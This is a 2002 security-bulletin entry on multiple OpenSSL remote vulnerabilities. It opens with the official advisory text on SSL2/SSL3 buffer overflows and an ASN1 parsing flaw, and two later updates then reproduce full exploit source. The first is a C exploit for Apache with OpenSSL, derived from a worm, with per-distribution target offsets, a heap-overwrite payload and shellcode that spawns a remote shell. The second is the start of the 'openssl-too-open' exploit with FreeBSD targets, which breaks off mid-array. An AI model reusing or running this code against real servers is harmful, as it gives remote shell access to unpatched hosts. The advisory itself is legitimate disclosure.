30th Jul 2002 [SBWID-5580]
COMMAND

	OpenSSL multiple remote vulnerabilities

SYSTEMS AFFECTED

	 OpenSSL 0.9.6d or earlier
	 OpenSSL 0.9.7-beta2 or earlier 
	 
	 CERT list of server side vulnerable software :
	 
	 http://www.cert.org/advisories/CA-2002-23.html
	 

PROBLEM

	In OpenSSL Security Advisory [30 July 2002] Ben Laurie expose 5  openSSL
	remote vulnerabilities. Little reminder:  ssl  is  used  in  most  https
	servers, TLS mail servers, SSH, etc...
	
	 
	This advisory consists of two independent advisories
	 
	
	 Advisory 1
	 ==========
	
	
	A.L.  Digital  Ltd  and  The  Bunker   (http://www.thebunker.net/)   are
	conducting a security review of OpenSSL, under the DARPA program CHATS.
	
	 Vulnerabilities
	 ---------------
	
	All four of these are potentially remotely exploitable.
	
	 1. The client master key in SSL2 could be oversized and overrun a
	    buffer. This vulnerability was also independently discovered by
	    consultants at Neohapsis (http://www.neohapsis.com/) who have also
	    demonstrated that the vulerability is exploitable. Exploit code is
	    NOT available at this time.
	
	 2. The session ID supplied to a client in SSL3 could be oversized and
	    overrun a buffer.
	
	 3. The master key supplied to an SSL3 server could be oversized and
	    overrun a stack-based buffer. This issues only affects OpenSSL
	    0.9.7 before 0.9.7-beta3 with Kerberos enabled.
	
	 4. Various buffers for ASCII representations of integers were too
	    small on 64 bit platforms.
	
	
	In  addition  various  potential  buffer  overflows  not  known  to   be
	exploitable have had assertions added to defend against them.
	
	
	 Who is affected?
	 ----------------
	
	Everyone using OpenSSL 0.9.6d or earlier, or 0.9.7-beta2 or  earlier  or
	current development  snapshots  of  0.9.7  to  provide  SSL  or  TLS  is
	vulnerable, whether client or server. 0.9.6d servers on  32-bit  systems
	with SSL 2.0 disabled are not vulnerable.
	
	SSLeay is probably also affected.
	
	 Known Exploits
	 --------------
	
	There are no know  exploits  available  for  these  vulnerabilities.  As
	noted above, Neohapsis have demonstrated internally that an  exploit  is
	possible, but have not released the exploit code.
	
	 
	 Acknowledgements
	 ----------------
	
	The project leading  to  this  advisory  is  sponsored  by  the  Defense
	Advanced  Research  Projects  Agency  (DARPA)  and  Air  Force  Research
	Laboratory, Air Force Materiel Command,  USAF,  under  agreement  number
	F30602-01-2-0537.
	
	
	
	
	 Advisory 2
	 ==========
	
	
	 Vulnerabilities
	 ---------------
	
	The ASN1 parser can be confused by supplying  it  with  certain  invalid
	encodings.
	
	The Common Vulnerabilities and  Exposures  project  (cve.mitre.org)  has
	assigned the name CAN-2002-0659 to this issue.
	
	 Who is affected?
	 ----------------
	
	Any OpenSSL program which uses  the  ASN1  library  to  parse  untrusted
	data. This includes all SSL or  TLS  applications,  those  using  S/MIME
	(PKCS#7) or certificate generation routines.
	
	
	 Acknowledgements
	 ----------------
	
	This vulnerability was discovered by  Adi  Stav  <stav@mercury.co.il>
	and James Yonan <jim@ntlp.com> independently.  The  patch  is  partly
	based on a version by Adi Stav.
	
	The patch and advisory were prepared by Dr. Stephen Henson.
	
	 Update (31 July 2002)
	 ======
	
	Mark Andrews noticed that Bind might also be  vulnerable...  BIND  9.1.x
	ship with a copy of the vulnerable sections of  OpenSSL  crypto  library
	(obj_dat.c and asn1_lib.c). BIND 9.2 is also vulnerable  if  built  with
	OpenSSL (configure --with-openssl).
	
	
	 Update (26 September 2002)
	 ======
	
	/*
	 *
	 * Linux Apache + OpenSSL exploit
	 *
	 * created by andy^ from the bugtraq.c source
	 *
	 * compile: gcc -lcrypto -o apache-ssl-bug apache-ssl-bug.c
	 *
	 * Option -i specifies the file containing the commands to be
	 * run on the remote host.
	 *
	 */
	
	#include <stdio.h>
	#include <unistd.h>
	#include <string.h>
	#include <fcntl.h>
	#include <stdlib.h>
	#include <stdarg.h>
	#include <sys/ioctl.h>
	#include <sys/types.h>
	#include <sys/socket.h>
	#include <netinet/in.h>
	#include <sys/time.h>
	#include <unistd.h>
	#include <errno.h>
	#include <netdb.h>
	#include <arpa/telnet.h>
	#include <sys/wait.h>
	#include <signal.h>
	
	#define SCAN
	#undef LARGE_NET
	#undef FREEBSD
	
	#define BROADCASTS	2
	#define LINKS		128
	#define CLIENTS		128
	#define PORT		2002
	#define SCANPORT	80
	#define SCANTIMEOUT	5
	#define MAXPATH		4096
	#define ESCANPORT	10100
	#define VERSION		12092002
	
	//////////////////////////////////////////////////////////////////////////////////////
	//                                  Macros                                          //
	//////////////////////////////////////////////////////////////////////////////////////
	
	#define FREE(x) {if (x) { free(x);x=NULL; }}
	#define DEBUG(x) {if (debug) { printf("DEBUG: %s\n",x); }}
	
	unsigned long numlinks, *links=NULL, myip=0;
	unsigned long sequence[LINKS], rsa[LINKS];
	unsigned int *pids=NULL;
	unsigned long numpids=0;
	unsigned long uptime=0, in=0, out=0;
	unsigned long synctime=0;
	int debug=0;
	int port=443;
	int arch=-1;
	char *filename=NULL;
	
	//////////////////////////////////////////////////////////////////////////////////////
	//                               Public routines                                    //
	//////////////////////////////////////////////////////////////////////////////////////
	
	#include <openssl/ssl.h>
	#include <openssl/rsa.h>
	#include <openssl/x509.h>
	#include <openssl/evp.h>
	
	void cleanup(char *buf) {
		while(buf[strlen(buf)-1] == '\n' || buf[strlen(buf)-1] == '\r' || buf[strlen(buf)-1] == ' ') buf[strlen(buf)-1] = 0;
	        while(*buf == '\n' || *buf == '\r' || *buf == ' ') {
	                unsigned long i;
	                for (i=strlen(buf)+1;i>0;i--) buf[i-1]=buf[i];
	        }
	}
	
	char *GetAddress(long ip) {
		struct sockaddr_in sin;
		fd_set fds;
		int n,d,sock;
		char buf[1024];
		struct timeval tv;
		sock = socket(PF_INET, SOCK_STREAM, 0);
		sin.sin_family = PF_INET;
		sin.sin_addr.s_addr = ip;
		sin.sin_port = htons(80);
		if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL;
		write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));
		tv.tv_sec = 15;
		tv.tv_usec = 0;
		FD_ZERO(&fds);
		FD_SET(sock, &fds);
		memset(buf, 0, sizeof(buf));
		if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
			if(FD_ISSET(sock, &fds)) {
				if((n = read(sock, buf, sizeof(buf) - 1)) < 0) return NULL;
				for (d=0;d<n;d++) if (!strncmp(buf+d,"Server: ",strlen("Server: "))) {
					char *start=buf+d+strlen("Server: ");
					for (d=0;d<strlen(start);d++) if (start[d] == '\n') start[d]=0;
					cleanup(start);
					return strdup(start);
				}
			}
		}
		return NULL;
	}
	
	int writem(int sock, char *str) {
		return write(sock,str,strlen(str));
	}
	
	char readbuf[1025];
	
	int readm(int sock) {
		bzero(readbuf,sizeof(readbuf));
		return read(sock,readbuf,1024);
	}
	
	
	#define MAX_ARCH 21
	
	struct archs {
		char *os;
		char *apache;
		int func_addr;
	} architectures[] = {
		{"Gentoo", "", 0x08086c34},
		{"Debian", "1.3.26", 0x080863cc},
		{"Red-Hat", "1.3.6", 0x080707ec},
		{"Red-Hat", "1.3.9", 0x0808ccc4},
		{"Red-Hat", "1.3.12", 0x0808f614},
		{"Red-Hat", "1.3.12", 0x0809251c},
		{"Red-Hat", "1.3.19", 0x0809af8c},
		{"Red-Hat", "1.3.20", 0x080994d4},
		{"Red-Hat", "1.3.26", 0x08161c14},
		{"Red-Hat", "1.3.23", 0x0808528c},
		{"Red-Hat", "1.3.22", 0x0808400c},
		{"SuSE", "1.3.12", 0x0809f54c},
		{"SuSE", "1.3.17", 0x08099984},
		{"SuSE", "1.3.19", 0x08099ec8},
		{"SuSE", "1.3.20", 0x08099da8},
		{"SuSE", "1.3.23", 0x08086168},
		{"SuSE", "1.3.23", 0x080861c8},
		{"Mandrake", "1.3.14", 0x0809d6c4},
		{"Mandrake", "1.3.19", 0x0809ea98},
		{"Mandrake", "1.3.20", 0x0809e97c},
		{"Mandrake", "1.3.23", 0x08086580},
		{"Slackware", "1.3.26", 0x083d37fc},
		{"Slackware", "1.3.26",0x080b2100}
	};
	
	extern int errno;
	
	int cipher;
	int ciphers;
	
	#define FINDSCKPORTOFS	   208 + 12 + 46
	
	unsigned char overwrite_session_id_length[] =
		"AAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"\x70\x00\x00\x00";
	
	unsigned char overwrite_next_chunk[] =
		"AAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAA"
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
		"AAAA"
		"\x00\x00\x00\x00"
		"\x00\x00\x00\x00"
		"AAAA"
		"\x01\x00\x00\x00"
		"AAAA"
		"AAAA"
		"AAAA"
		"\x00\x00\x00\x00"
		"AAAA"
		"\x00\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00\x00"
		"AAAAAAAA"
	
		"\x00\x00\x00\x00"
		"\x11\x00\x00\x00"
		"fdfd"
		"bkbk"
		"\x10\x00\x00\x00"
		"\x10\x00\x00\x00"
	
		"\xeb\x0a\x90\x90"
		"\x90\x90\x90\x90"
		"\x90\x90\x90\x90"
	
		"\x31\xdb"
		"\x89\xe7"
		"\x8d\x77\x10"
		"\x89\x77\x04"
		"\x8d\x4f\x20"
		"\x89\x4f\x08"
		"\xb3\x10"
		"\x89\x19"
		"\x31\xc9"
		"\xb1\xff"
		"\x89\x0f"
		"\x51"
		"\x31\xc0"
		"\xb0\x66"
		"\xb3\x07"
		"\x89\xf9"
		"\xcd\x80"
		"\x59"
		"\x31\xdb"
		"\x39\xd8"
		"\x75\x0a"
		"\x66\xb8\x12\x34"
		"\x66\x39\x46\x02"
		"\x74\x02"
		"\xe2\xe0"
		"\x89\xcb"
		"\x31\xc9"
		"\xb1\x03"
		"\x31\xc0"
		"\xb0\x3f"
		"\x49"
		"\xcd\x80"
		"\x41"
		"\xe2\xf6"
	
		"\x31\xc9"
		"\xf7\xe1"
		"\x51"
		"\x5b"
		"\xb0\xa4"
		"\xcd\x80"
	
		"\x31\xc0"
		"\x50"
		"\x68""//sh"
		"\x68""/bin"
		"\x89\xe3"
		"\x50"
		"\x53"
		"\x89\xe1"
		"\x99"
		"\xb0\x0b"
		"\xcd\x80";
	
	#define BUFSIZE 16384
	#define CHALLENGE_LENGTH 16
	#define RC4_KEY_LENGTH 16
	#define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
	#define n2s(c,s)	((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1]))	 )),c+=2)
	#define s2n(s,c)	((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s)	 )&0xff)),c+=2)
	
	typedef struct {
		int sock;
		unsigned char challenge[CHALLENGE_LENGTH];
		unsigned char master_key[RC4_KEY_LENGTH];
		unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
		int conn_id_length;
		unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
		X509 *x509;
		unsigned char* read_key;
		unsigned char* write_key;
		RC4_KEY* rc4_read_key;
		RC4_KEY* rc4_write_key;
		int read_seq;
		int write_seq;
		int encrypted;
	} ssl_conn;
	
	long getip(char *hostname) {
		struct hostent *he;
		long ipaddr;
		if ((ipaddr = inet_addr(hostname)) < 0) {
			if ((he = gethostbyname(hostname)) == NULL) exit(-1);
			memcpy(&ipaddr, he->h_addr, he->h_length);
		}	
		return ipaddr;
	}
	
	int sh(int sockfd) {
		char localip[256], rcv[1024];
		fd_set rset;
		int maxfd, n;
		FILE *f;
		char s[256];
	
		alarm(3600);
		DEBUG("Sending data");
		writem(sockfd,"TERM=xterm; export TERM=xterm; exec bash -i\n");
		/*	writem(sockfd,"rm -rf /tmp/.bugtraq.c;cat > /tmp/.uubugtraq << __eof__;\n");
		encode(sockfd);
		writem(sockfd,"__eof__\n");
		conv(localip,256,myip);
		memset(rcv,0,1024);
		sprintf(rcv,"/usr/bin/uudecode -o /tmp/.bugtraq.c /tmp/.uubugtraq;gcc -o /tmp/.bugtraq /tmp/.bugtraq.c -lcrypto;/tmp/.bugtraq %s;exit;\n",localip);
		writem(sockfd,rcv);*/
		if((f=fopen(filename,"rt"))!=NULL){
			bzero(s,256);
			while(!feof(f)){
				if(fgets(s,255,f)){
					DEBUG(s);
					writem(sockfd,s);
				}
			}
			fclose(f);
		}
		readm(sockfd);
		printf("%s",readbuf);
		DEBUG("Data sent");
	/*	for (;;) {
			FD_ZERO(&rset);
			FD_SET(sockfd, &rset);
			select(sockfd+1, &rset, NULL, NULL, NULL);
			if (FD_ISSET(sockfd, &rset))
				bzero(rcv,sizeof(rcv));
				if ((n = read(sockfd, rcv, sizeof(rcv))) == 0){
					return 0;
				} else {
					printf("%s",rcv);
				}
		}*/
		return 0;
	}
	
	int get_local_port(int sock) {
		struct sockaddr_in s_in;
		unsigned int namelen = sizeof(s_in);
		if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) return 1;
		return s_in.sin_port;
	}
	
	int connect_host(long host, int port) {
		struct sockaddr_in s_in;
		int sock;
		s_in.sin_family = AF_INET;
		s_in.sin_addr.s_addr = host;
		s_in.sin_port = htons(port);
		if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) return 1;
		alarm(60);
		if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) return 1;
		alarm(0);
		return sock;
	}
	
	ssl_conn* ssl_connect_host(long host, int port) {
		ssl_conn* ssl;
		if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) return NULL;
		ssl->encrypted = 0;
		ssl->write_seq = 0;
		ssl->read_seq = 0;
		ssl->sock = connect_host(host, port);
		return ssl;
	}
	
	char res_buf[30];
	
	int read_data(int sock, unsigned char* buf, int len) {
		int l;
		int to_read = len;
		do {
			if ((l = read(sock, buf, to_read)) < 0) return 1;
			to_read -= len;
		} while (to_read > 0);
		return len;
	}
	
	int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size) {
		int rec_len, padding;
		read_data(ssl->sock, buf, 2);
		if ((buf[0] & 0x80) == 0) {
			rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
			read_data(ssl->sock, &buf[2], 1);
			padding = (int)buf[2];
		}
		else {
			rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
			padding = 0;
		}
		if ((rec_len <= 0) || (rec_len > buf_size)) return 1;
		read_data(ssl->sock, buf, rec_len);
		if (ssl->encrypted) {
			if (MD5_DIGEST_LENGTH + padding >= rec_len) {
				if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) return 0;
				else return 1;
			}
			RC4(ssl->rc4_read_key, rec_len, buf, buf);
			rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
			memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
		}
		if (buf[0] == SSL2_MT_ERROR) {
			if (rec_len != 3) return 1;
			else return 0;
		}
		return rec_len;
	}
	
	int send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len) {
		unsigned char buf[BUFSIZE];
		unsigned char* p;
		int tot_len;
		MD5_CTX ctx;
		int seq;
		if (ssl->encrypted) tot_len = rec_len + MD5_DIGEST_LENGTH;
		else tot_len = rec_len;
	
		if (2 + tot_len > BUFSIZE) {
			DEBUG("sens_ssl_packet: packet larger than BUFSIZE");
			return 1;
		}
	
		p = buf;
		s2n(tot_len, p);
	
		buf[0] = buf[0] | 0x80;
	
		if (ssl->encrypted) {
			seq = ntohl(ssl->write_seq);
	
			MD5_Init(&ctx);
			MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
			MD5_Update(&ctx, rec, rec_len);
			MD5_Update(&ctx, &seq, 4);
			MD5_Final(p, &ctx);
	
			p+=MD5_DIGEST_LENGTH;
	
			memcpy(p, rec, rec_len);
	
			RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
		}
		else memcpy(p, rec, rec_len);
	
		send(ssl->sock, buf, 2 + tot_len, 0);
	
		ssl->write_seq++;
		return 0;
	}
	
	int send_client_hello(ssl_conn *ssl) {
		int i;
		unsigned char buf[BUFSIZE] =
			"\x01"
			"\x00\x02"
			"\x00\x18"
			"\x00\x00"
			"\x00\x10"
			"\x07\x00\xc0\x05\x00\x80\x03\x00"
			"\x80\x01\x00\x80\x08\x00\x80\x06"
			"\x00\x40\x04\x00\x80\x02\x00\x80"
			"";
		for (i = 0; i < CHALLENGE_LENGTH; i++) ssl->challenge[i] = (unsigned char) (rand() >> 24);
		memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
		if(send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH)) return 1;
		return 0;
	}
	
	int get_server_hello(ssl_conn* ssl) {
		unsigned char buf[BUFSIZE];
		unsigned char *p, *end;
		int len;
		int server_version, cert_length, cs_length, conn_id_length;
		int found;
	
		if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) return 1;
		if (len < 11) return 1;
	
		p = buf;
	
		if (*(p++) != SSL2_MT_SERVER_HELLO) return 1;
		if (*(p++) != 0) return 1;
		if (*(p++) != 1) return 1;
		n2s(p, server_version);
		if (server_version != 2) return 1;
	
		n2s(p, cert_length);
		n2s(p, cs_length);
		n2s(p, conn_id_length);
	
		if (len != 11 + cert_length + cs_length + conn_id_length) return 1;
		ssl->x509 = NULL;
		ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
		if (ssl->x509 == NULL) return 1;
		if (cs_length % 3 != 0) return 1;
	
		found = 0;
		for (end=p+cs_length; p < end; p += 3) if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80)) found = 1;
	
		if (!found) return 1;
	
		if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) return 1;
	
		ssl->conn_id_length = conn_id_length;
		memcpy(ssl->conn_id, p, conn_id_length);
		return 0;
	}
	
	int send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
		int encrypted_key_length, key_arg_length, record_length;
		unsigned char* p;
		int i;
		EVP_PKEY *pkey=NULL;
		unsigned char buf[BUFSIZE] =
			"\x02"
			"\x01\x00\x80"
			"\x00\x00"
			"\x00\x40"
			"\x00\x08";
		p = &buf[10];
		for (i = 0; i < RC4_KEY_LENGTH; i++) ssl->master_key[i] = (unsigned char) (rand() >> 24);
		pkey=X509_get_pubkey(ssl->x509);
		if (!pkey) return 1;
		if (pkey->type != EVP_PKEY_RSA) return 1;
		encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
		if (encrypted_key_length <= 0) return 1;
		p += encrypted_key_length;
		if (key_arg_overwrite) {
			for (i = 0; i < 8; i++) *(p++) = (unsigned char) (rand() >> 24);
			memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
	
			key_arg_length = 8 + key_arg_overwrite_len;
		}
		else key_arg_length = 0;
		p = &buf[6];
		s2n(encrypted_key_length, p);
		s2n(key_arg_length, p);
		record_length = 10 + encrypted_key_length + key_arg_length;
		if(send_ssl_packet(ssl, buf, record_length)) return 1;
		ssl->encrypted = 1;
		return 0;
	}
	
	void generate_key_material(ssl_conn* ssl) {
		unsigned int i;
		MD5_CTX ctx;
		unsigned char *km;
		unsigned char c='0';
		km=ssl->key_material;
		for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
			MD5_Init(&ctx);
			MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
			MD5_Update(&ctx,&c,1);
			c++;
			MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
			MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
			MD5_Final(km,&ctx);
			km+=MD5_DIGEST_LENGTH;
		}
	}
	
	void generate_session_keys(ssl_conn* ssl) {
		generate_key_material(ssl);
		ssl->read_key = &(ssl->key_material[0]);
		ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
		RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
		ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
		ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
		RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
	}
	
	int get_server_verify(ssl_conn* ssl) {
		unsigned char buf[BUFSIZE];
		int len;
		if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) return 1;
		if (len != 1 + CHALLENGE_LENGTH) return 1;
		if (buf[0] != SSL2_MT_SERVER_VERIFY) return 1;
		if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) return 1;
		return 0;
	}
	
	int send_client_finished(ssl_conn* ssl) {
		unsigned char buf[BUFSIZE];
		buf[0] = SSL2_MT_CLIENT_FINISHED;
		memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
		if(send_ssl_packet(ssl, buf, 1+ssl->conn_id_length)) return 1;
		return 0;
	}
	
	int get_server_finished(ssl_conn* ssl) {
		unsigned char buf[BUFSIZE];
		int len;
		int i;
		if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) return 1;
		if (buf[0] != SSL2_MT_SERVER_FINISHED) return 1;
		if (len <= 112) return 1;
		cipher = *(int*)&buf[101];
		ciphers = *(int*)&buf[109];
		return 0;
	}
	
	int get_server_error(ssl_conn* ssl) {
		unsigned char buf[BUFSIZE];
		int len;
		if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) return 1;
		return 0;
	}
	
	int exploit(long ip) {
		int i;
		int N = 20;
		ssl_conn* ssl1;
		ssl_conn* ssl2;
		char *a;
	
		alarm(3600);
		if ((a=GetAddress(ip)) == NULL){
			printf("Could not connect\n");
			return 1;
		}
		if ( (arch == -1) || (arch >= MAX_ARCH) ){
			DEBUG("Checking version");
			if (strncmp(a,"Apache",6)){
				printf("The web server is not Apache\n\n");
				return 1;
			}
			for (i=0;i<MAX_ARCH;i++) {
				if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) {
					arch=i;
					break;
				}
			}
		} else {
			i=arch;
		}
		if (arch == -1) arch=9;
		printf("Selected architecture: %s Apache %s (%d)\n",architectures[i].os,architectures[i].apache,arch);
	
		srand(0x31337);
	
		DEBUG("Creating 20 dummy connections");
		for (i=0; i<N; i++) {
			connect_host(ip, port);
			usleep(100000);
		}
		DEBUG("connected");
	
		DEBUG("ssl_connect_host");	
		if((ssl1 = ssl_connect_host(ip, port)) == NULL){
			DEBUG("could not connect ssl1");
			return 1;
		}
		DEBUG("ssl_connect_host");
		if((ssl2 = ssl_connect_host(ip, port)) == NULL){
			DEBUG("could not connect ssl2");
			return 1;
		}
	
		DEBUG("send_client_hello");
		send_client_hello(ssl1);
		DEBUG("get_server_hello");
		if(get_server_hello(ssl1)) return 1;
	
		DEBUG("send_client_master_key");
		if(send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1)) return 1;
		DEBUG("generate_session_keys");
		generate_session_keys(ssl1);
		DEBUG("get_server_verify");
		if(get_server_verify(ssl1)) return 1;
		DEBUG("send_client_finished");
		if(send_client_finished(ssl1)) return 1;
		DEBUG("get_server_finished");
		if(get_server_finished(ssl1)) return 1;
	
		DEBUG("get_local_port");
		port = get_local_port(ssl2->sock);
		DEBUG("overwrite_next_chunk");
		overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
		DEBUG("overwrite_next_chunk");
		overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
	
		*(int*)&overwrite_next_chunk[156] = cipher;
		*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
		*(int*)&overwrite_next_chunk[196] = ciphers + 16;
	
		DEBUG("send_client_hello");
		send_client_hello(ssl2);
		DEBUG("get_server_hello");
		if(get_server_hello(ssl2)) return 1;
	
		DEBUG("send_client_master_key");
		if(send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1)) return 1;
		DEBUG("generate_session_keys");
		generate_session_keys(ssl2);
		DEBUG("get_server_verify");
		if(get_server_verify(ssl2)) return 1;
	
		for (i = 0; i < ssl2->conn_id_length; i++) ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
	
		DEBUG("send_client_finished");
		if(send_client_finished(ssl2)) return 1;
		DEBUG("get_server_error");
		if(get_server_error(ssl2)) return 1;
	
		DEBUG("sh");
		sh(ssl2->sock);
	
		DEBUG("close");
		close(ssl2->sock);
		close(ssl1->sock);
		return 0;
	}
	
	//////////////////////////////////////////////////////////////////////////////////////
	//////////////////////////////////////////////////////////////////////////////////////
	//////////////////////////////////////////////////////////////////////////////////////
	
	int main(int argc, char **argv) {
		struct hostent *he;
		int i=0,c;
		struct in_addr in;
	
		printf("\nApache & OpenSSL 0.9.6 Exploit\nMade by andy^ after the bugtraq.c worm\n\n");
		
		if(argc<2){
			printf("Syntax: %s [options] host\n\n",argv[0]);
			printf("Options:\n\n");
			printf("\t-p port\t\tport to connect (default 443)\n");
			printf("\t-v\t\tverbose\n");
			printf("\t-i file\t\tinput file (default ssl2.txt)\n");
			printf("\t-t target\ttarget\n");
			printf("\t\t\t\t0\tAutodetect\n");
			for(i=0;i<MAX_ARCH;i++){
				printf("\t\t\t\t%d\t%s %s\n",i+1,architectures[i].os,architectures[i].apache);
			}
			exit(1);
		}
	
		
		opterr=0;
		while(1){
			c=getopt(argc,argv,":p:vi:t:");
			if(c==-1) break;
			switch(c){
				case 'p':
					port=atoi(optarg);
					break;
				case 'v':
					debug=1;
					break;
				case 'i':
					if((filename=strdup(optarg))==NULL){
						perror("strdup");
						return 1;
					}
					break;
				case 't':
					arch=atoi(optarg)-1;
					break;
				case ':':
					printf("Missing argument for -%c\n",optopt);
					exit(1);
					break;
			}
		}
	
		if(filename==NULL){
			if((filename=strdup("ssl2.c"))==NULL){
				perror("strdup");
				return 1;
			}
		}
	
		if(optind >=argc ){
			printf("No hostname specified\n\n");
			return 1;
		}
		
		uptime=time(NULL);
	
		srand(time(NULL)^getpid());
	
		if( (he=gethostbyname(argv[optind])) == NULL ){
			perror("gethostbyname");
			return 1;
		}
		while(he->h_addr_list[i]){
			memcpy(&in.s_addr,he->h_addr_list[i],4);
			printf("Trying to exploit %s\n",inet_ntoa(in));
			if(exploit(in.s_addr)==0){
			       printf("DONE\n");
		       	       return 0;
			} else {
				printf("FAILED\n");
				return 1;
			}
			i++;
		}
		if(filename) free(filename);
		return 0;
	}
	
	
	
	 Update (03 October 2002)
	 ======
	
	/*
	 * openssl-too-open.c - OpenSSL remote apache exploit
	 *
	 * by Solar Eclipse <solareclipse@phreedom.org>
	 *
	 * Compile with: gcc -o opeen frassl.c -lcrypto
	 *
	 * Private 0dd code.
	 *
	 *
	 * Updated by CrZ [crazy_einstein@yahoo.com] LimpidByte [lbyte.void.ru]
	 *
	 *   AddOn:
	 *     + BruteForce by using targets & by using start address
	 *
	 *
	 * Updated by ech0 [ech0@l33tsecurity.com]
	 *
	 *   Replace:
	 *       FreeBSD targets & FreeBSD shellcode
	 * ysbadaddn thnx for GOT's =)
	 * -more fixes by ysbadaddn so this fuqn thing works :)
	 * -cleaned some stuff up to.
	 */
	
	#include <arpa/inet.h>
	#include <netinet/in.h>
	#include <sys/types.h>
	#include <sys/socket.h>
	#include <netdb.h>
	#include <errno.h>
	#include <string.h>
	#include <stdio.h>
	#include <unistd.h>
	
	#include <openssl/ssl.h>  //ssl.h
	#include <openssl/rsa.h>  //rsa.h
	#include <openssl/x509.h> //x509.h
	#include <openssl/evp.h>  //evp.h
	
	/* update this if you add architectures */
	#define MAX_ARCH 21
	
	int sslerror=0;
	
	struct archs {
		char* desc;
		int func_addr;	/* objdump -R /usr/sbin/apache | grep free */
	} architectures[] = {
		{
			"FreeBSD 4.6-RELEASE-p1 (Apache-1.3.26)",
			0x08090bec
		},
		{
			"FreeBSD 4.5-RELEASE (Apache-1.3.26)",
			0x080bed9c
		},
		{
			"FreeBSD 4.5-RELEASE (Apache-1.3.26)",
			0x081ab950
		},
		{
			"FreeBSD 4.4-STABLE (Apache-1.3.19)",
			0x080abcf4
		},
		{
			"FreeBSD 4.4-RELEASE (Apache-1.3.26)",
			0x080bed9c
		},
		{
			NULL,
			0
		}
	/*FreeBSD targets*/
	};
	
	extern int errno;
	
	int cipher;
	int ciphers;
	
	char programexit = 0; 
	
	/* the offset of the local port from be beginning of the overwrite next chunk
	buffer */
	#define FINDSCKPORTOFS     208 + 12 + 32
	#define BSD
	
	unsigned char overwrite_session_id_length[] =
		"AAAA"								/* int master key length; */
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"	/* unsigned char master key[SSL
	MAX MASTER KEY LENGTH];	*/
		"\x70\x00\x00\x00";					/* unsigned int session id length; */
	
	unsigned char overwrite_next_chunk[] =
		"AAAA"								/* int master key length; */
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"	/* unsigned char master key[SSL
	MAX MASTER KEY LENGTH];	*/
		"AAAA"								/* unsigned int session id length; */
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"	/* unsigned char session id[SSL MAX SSLSESSION ID
	LENGTH]; */
		"AAAA"								/* unsigned int sid ctx length; */
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"	/* unsigned char sid ctx[SSL MAX SID
	CTXLENGTH]; */
		"AAAA"								/* int not resumable; */
		"\x00\x00\x00\x00"					/* struct sess cert st *sess cert; */
		"\x00\x00\x00\x00"					/* X509 *peer; */
